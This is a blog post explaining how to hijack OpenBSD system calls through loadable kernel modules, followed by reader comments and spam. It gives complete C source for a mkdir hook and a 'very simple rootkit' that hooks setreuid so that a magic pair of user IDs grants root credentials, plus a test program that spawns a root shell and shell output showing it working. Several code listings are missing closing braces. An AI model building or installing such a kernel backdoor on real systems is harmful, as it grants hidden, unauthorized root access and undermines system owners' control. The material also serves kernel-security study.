Home > C/C++, OpenBSD, Operating Systems, Security > Syscall Hijacking: OpenBSD

Syscall Hijacking: OpenBSD

in this post I show you how to hijack the system calls in the latest OpenBSD kernel versions.
The way in which syscalls can be hijacked in OpenBSD kernel is very similar to that used in the Linux kernel 2.4 versions. The syscall table is exported and it is accessible by an external kernel module. So a syscall address can be overwritten by the address of an our function.

– An example of OpenBSD LKM

Fist of all, an example of OpenBDS LKM (“LKM_test.c”) follows:

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/ioctl.h>
#include <sys/cdefs.h>
#include <sys/conf.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/proc.h>
#include <sys/kernel.h>


int LKM_test_lkmentry(struct lkm_table *, int, int);
int LKM_test_lkmload(struct lkm_table *, int);
int LKM_test_lkmunload(struct lkm_table *, int);
int LKM_test_lkmstat(struct lkm_table *, int);

int LKM_test_lkmload(struct lkm_table *lkmt, int cmd) {
	return 0;

int LKM_test_lkmunload(struct lkm_table *lkmt, int cmd) {

	return 0;

int LKM_test_lkmstat(struct lkm_table *lkmt, int cmd) {

	printf("Here I am!\n");
	return 0;

int LKM_test_lkmentry(struct lkm_table *lkmt, int cmd, int ver) {

	DISPATCH(lkmt, cmd, ver, LKM_test_lkmload, LKM_test_lkmunload, LKM_test_lkmstat);


The behavior of this module is very simple: the LKM_test_lkmentry() function is the entry point function of the kernel module and it’s the first function invoked when the module is loaded in memory. In this function the DISPATCH() macro is called: this macro is defined in “sys/lkm.h”:


#define DISPATCH(lkmtp,cmd,ver,load,unload,stat) do {
	if (ver != LKM_VERSION)
		return EINVAL;
	switch (cmd) {  
		int     error;
		case LKM_E_LOAD:
			lkmtp->private.lkm_any = (struct lkm_any *)&_module;
			if ((error = load(lkmtp, cmd)) != 0)
				return error;
		case LKM_E_UNLOAD:  
			if ((error = unload(lkmtp, cmd)) != 0) 
				return error;
		case LKM_E_STAT:
			if ((error = stat(lkmtp, cmd)) != 0)
				return error;
		return lkmdispatch(lkmtp, cmd);
} while (/* CONSTCOND */ 0)

The DISPATCH macro handles the loading (by the fourth argument), unloading (by the fifth argument) and querying (by the sixth argument) of the module.
The module can be compiled running the “cc” command:

# cc -D_KERNEL -I/sys -c LKM_test.c

The module can be loaded, unloaded and queried via “modload”, “modunload” and “modstat” commands:

# modload LKM_test.o
Module loaded as ID 0
# modstat -n LKM_test
Type	Id   Off   Loadaddr   Size  Info       Rev    Module Name
MISC	0      0   d44ef000   0001  d44ef12c     2    LKM_test
# modunload -n LKM_test
# tail /var/log/messages
Oct 20 22:02:20 spaccio /bsd Hello!
Oct 20 22:02:20 spaccio /bsd DDB symbols added: 365344 bytes
Oct 20 22:03:47 spaccio /bsd Here I am!
Oct 20 22:04:20 spaccio /bsd Goodbye!

– System call in OpenBSD

The definition of the internal lkm structure for a syscall it’s defined in “sys/lkm.h” and it follows:

struct lkm_syscall {
	MODTYPE         lkm_type;
	int             lkm_ver;
	char           *lkm_name;
	u_long          lkm_offset;     /* save/assign area */
	struct sysent  *lkm_sysent;
	struct sysent   lkm_oldent;     /* save area for unload */

The fields of this structure represent the type of module, the lkm version, the name of the module, the offset at which to place the system call inside the syscall table. Moreover it’s present a pointer to a “sysent” structure.
This structure is defined in “sys/systm.h”:

extern struct sysent {			/* system call table */
	short 		sy_narg		/* number of args */
	short 		sy_argsize;	/* total size of arguments */
	int 		sy_flags;
	sy_call_t 	*sy_call;	/* implementing function */
} sysent[];

The “sysent” array is the syscall table and it’s exported… ;-)
The “lkm_syscall” struct will be initialised using the MOD_SYSCALL macro (defined in “sys/lkm.h”):

#define MOD_SYSCALL(name,callslot,sysentp)      
	static struct lkm_syscall _module = {   

– System calls Hijacking

We have now all the informations we need to hijack a system call. The method I’ll show is similar to that used for hooking the syscalls in kernel 2.4 versions. As I said before, the “sysent” array is like the old “syscall_table” exported in Linux kernel 2.4. So, what we have to do is overwriting the syscall address of the interested syscall with that of our function inside the “sysent” array.
Each syscall has an unique id-number defined in “sys/syscall.h” that represents also its position inside the system call table. If we want to hijack the (i.e.) “mkdir()” syscall, we have only to search the “mkdir” id-number inside in this header file:

/* syscall: "sendto" ret: "ssize_t" args: "int" "const void *" "size_t" "int" "const struct sockaddr *" "socklen_t" */
#define SYS_sendto      133

/* syscall: "shutdown" ret: "int" args: "int" "int" */
#define SYS_shutdown    134

/* syscall: "socketpair" ret: "int" args: "int" "int" "int" "int *" */
#define SYS_socketpair  135
/* syscall: "mkdir" ret: "int" args: "const char *" "mode_t" */
#define SYS_mkdir       136
/* syscall: "rmdir" ret: "int" args: "const char *" */
#define SYS_rmdir       137
/* syscall: "utimes" ret: "int" args: "const char *" "const struct timeval *" */
#define SYS_utimes      138


The “mkdir” id-number is the number 136.
The values contained inside the “sysent” structure are defined in the “init_sysent.c” file:

struct sysent sysent[] = {
 { 2, s(struct sys_mkdir_args), 0,
  352             sys_mkdir }, 

According to the prototype of the “sysent” structure, the first field represents the number of arguments. The second arguments is the size of the “sys_mkdir_args” structure, that is the structure in which the “mkdir” arguments are defined. All the syscalls’ arguments are defined inside the “sys/syscallargs.h” file:


struct sys_mkdir_args {
	syscallarg(const char *) path;
	syscallarg(mode_t) mode;


The “mkdir” syscall accepts two arguments: the directory path and mode.
The fourth argument of the “sysent” structure is a pointer to the implementing function “sys_mkdir()”. We can find the “sys_mkdir()” prototype inside the same file:

int     sys_mkdir(struct proc *, void *, register_t *);

All the syscall functions take as arguments these three fields:

– a “struct proc” pointer: The structure that contains the informations about the process that it’s invoking the syscall.
– a “void” pointer to the syscall’s arguments.
– a “register_t” (it’s a simple integer) pointer to the syscall return value.

Now we have all the necessary informations we need to hijack the “mkdir” syscall.
The “hijack.c” source code follows:

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/ioctl.h>
#include <sys/cdefs.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/proc.h>
#include <sys/kernel.h>
#include <sys/syscallargs.h>
#include <sys/syscall.h>


int hijack_lkmentry(struct lkm_table *, int, int);
int hijack_lkmload(struct lkm_table *, int);
int hijack_lkmunload(struct lkm_table *, int);
int hijack_lkmstat(struct lkm_table *, int);

int (*mkdir_old)(struct proc *td, void *args, register_t *b);

int mkdir_new(struct proc *td, void *args, register_t *b) {

	struct sys_mkdir_args /* {
                 syscallarg(const char *) path;
                 syscallarg(mode_t) mode;
  	} */ *uap = args;
	printf("Mkdir hijacked -> %s %x\n", uap->path, uap->mode);
	return (mkdir_old(td, args, b));

int hijack_lkmload(struct lkm_table *lkmt, int cmd) {

	mkdir_old = sysent[SYS_mkdir].sy_call;	
	sysent[SYS_mkdir].sy_call = (sy_call_t *) mkdir_new;
	return 0;

int hijack_lkmunload(struct lkm_table *lkmt, int cmd) {
	sysent[SYS_mkdir].sy_call = (sy_call_t *) mkdir_old;

	return 0;


int hijack_lkmstat(struct lkm_table *lkmt, int cmd) {

	printf("Here I am!\n");
	return 0;


int hijack_lkmentry(struct lkm_table *lkmt, int cmd, int ver) {

	DISPATCH(lkmt, cmd, ver, hijack_lkmload, hijack_lkmunload, hijack_lkmstat);


We can compile (and load) this module and we can create a new “test” directory to check if the module works properly:

# cc -D_KERNEL -I/sys -c hijack.c
# modload hijack.o
Module loaded as ID 0
# mkdir test
# ls ./
# tail /var/log/messages
Oct 20 22:15:38 spaccio /bsd Hello!
Oct 20 22:15:38 spaccio /bsd DDB symbols added: 365344 bytes
Oct 20 22:16:10 spaccio /bsd Mkdir hijacked -> test 1ed

Perfect! The directory has been created and the syscall has been hijacked as expected.
Now we can write a more interesting kernel module.

– A very simple rootkit

Now I’ll show you how to change the process credentials through kernel modules. I use the same method shown in this post. Our rootkit will give us root credentials when we invoke a new shell with RUID == 3410 && EUID == 0143. We only need to hijack the “setreuid” syscall and to check the ruid and euid correctness.
As I wrote before, the first argument of each syscall function is a “struct proc” pointer that contains the informations about the process that it’s calling the syscall. So, we only need to change the credentials’ values stored in this structure.
This structure is defined in “sys/proc.h”:

 struct process {

	struct  proc *ps_mainproc;
	struct  pcred *ps_cred;         /* Process owner's identity. */
	struct  plimit *ps_limit;       /* Process limits. */
	TAILQ_HEAD(,proc) ps_threads;   /* Threads in this process. */
	int     ps_refcnt;              /* Number of references. */

We are interested on the “pcred” structure. This structure contains all the informations about the process owner’s credentials. This struct is defined in the same file:

struct  pcred {
	struct  ucred *pc_ucred;        /* Current credentials. */
	uid_t   p_ruid;                 /* Real user id. */
	uid_t   p_svuid;                /* Saved effective user id. */
	gid_t   p_rgid;                 /* Real group id. */
	gid_t   p_svgid;                /* Saved effective group id. */
	int     p_refcnt;               /* Number of references. */

The “ucred” structure is defined in the “sys/ucred.h” file:

struct ucred {
	u_int   cr_ref;                 /* reference count */
	uid_t   cr_uid;                 /* effective user id */
	gid_t   cr_gid;                 /* effective group id */
	short   cr_ngroups;             /* number of groups */
	gid_t   cr_groups[NGROUPS];     /* groups */

We have to hijack the “setreuid” syscall and change these values.
The rootkit kernel module (“rootkit.c”) follows:

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/ioctl.h>
#include <sys/cdefs.h>
#include <sys/conf.h>
#include <sys/mount.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/proc.h>
#include <sys/kernel.h>
#include <sys/syscallargs.h>
#include <sys/syscall.h>


int rootkit_lkmentry(struct lkm_table *, int, int);
int rootkit_lkmload(struct lkm_table *, int);
int rootkit_lkmunload(struct lkm_table *, int);
int rootkit_lkmstat(struct lkm_table *, int);

int (*setreuid_old)(struct proc *td, void *args, register_t *b);

int setreuid_new(struct proc *td, void *args, register_t *b) {

	struct sys_setreuid_args /* {
		syscallarg(uid_t) ruid;
		syscallarg(uid_t) euid;
	}*/ *uap = args;
	uid_t uid;
	uid_t ruid, euid;

	ruid = SCARG(uap, ruid);
	euid = SCARG(uap, euid);
	if ((ruid == 3410) && (euid == 0143))   {
		td->p_cred->p_ruid = 0;
		td->p_cred->p_svuid = 0;
		td->p_cred->p_rgid = 0;
		td->p_cred->p_svgid = 0;
		td->p_cred->pc_ucred->cr_uid = 0;
		td->p_cred->pc_ucred->cr_gid = 0;
		ruid = 0;
		euid = 0;
		SCARG(uap, ruid) = ruid;
		SCARG(uap, euid) = euid;	
	return (setreuid_old(td, args, b));

int rootkit_lkmload(struct lkm_table *lkmt, int cmd) {

	setreuid_old = sysent[SYS_setreuid].sy_call;	
	sysent[SYS_setreuid].sy_call = (sy_call_t *) setreuid_new;
	return 0;

int rootkit_lkmunload(struct lkm_table *lkmt, int cmd) {
	sysent[SYS_setreuid].sy_call = (sy_call_t *) setreuid_old;

	return 0;


int rootkit_lkmstat(struct lkm_table *lkmt, int cmd) {

	printf("Here I am!\n");
	return 0;


int rootkit_lkmentry(struct lkm_table *lkmt, int cmd, int ver) {

	DISPATCH(lkmt, cmd, ver, rootkit_lkmload, rootkit_lkmunload, rootkit_lkmstat);


We can use the following script (“test.c”) to test the rootkit:

#include <stdio.h>

int main () {

        setreuid (3410, 0143);
        system ("/bin/sh");

        return 0;

Now we can compile and then load the kernel module:

# cc -D_KERNEL -I/sys -c rootkit.c
# modload rootkit.o
Module loaded as ID 0

Now, we can change user and we can test if the kernel module works properly:

# su - spaccio
$ ./test
# whoami
# exit

Great, it works! :-)

  1. anonymous
    November 28, 2011 at 09:23

    bullshit. it’s just a regular way to write syscall lkm, as done many times before! if you use it for malicious things, it’s your problem. and why didn’t you mention securelevels?

    • November 28, 2011 at 11:00

      I am happy for you if you already know this method. Surely many other people did not know it.

  2. anonymous
    November 29, 2011 at 17:38

    first, please read this: http://www.thc.org/root/docs/loadable_kernel_modules/openbsd-lkm.html

    and second it isn’t possible to load lkm’s at the default secure level, see: http://www.openbsd.org/cgi-bin/man.cgi?query=securelevel&sektion=7

  3. painfu
    December 29, 2011 at 14:50

    oh my gosh, you are such a noob

    • December 29, 2011 at 15:15

      A very useful comment. You are a real h4x0r!

  4. April 16, 2013 at 02:56

    Great blog you’ve got here.. It’s hard to find
    excellent writing like yours nowadays. I truly appreciate people like you!
    Take care!!

  5. May 7, 2013 at 07:37

    I like the valuable info you provide in your articles.
    I’ll bookmark your weblog and check again here frequently. I’m quite sure I will learn lots of new stuff right here!
    Good luck for the next!

  6. May 9, 2013 at 12:03

    Marvelous, what a blog it is! This weblog presents valuable facts to us, keep it up.

  7. May 12, 2013 at 04:19

    say thanks to’s terrific tip, you are better compared to samsung’s
    engineer !!!

  8. June 12, 2013 at 05:10

    Hi everyone, it’s my first pay a visit at this web site, and paragraph is actually fruitful in support of me, keep up posting these types of posts.

  9. June 16, 2013 at 15:20

    Hi there all, here every person is sharing these kinds of familiarity,
    thus it’s good to read this web site, and I used to pay a visit this web site all the time.Visit my website at mbank ubezpieczenia mieszkania

  10. vasia
    October 14, 2016 at 16:28

    great quick introduction! it saved many hours for me. thanks dude!

  1. November 28, 2011 at 21:57

Leave a Reply to shorten website links Cancel reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: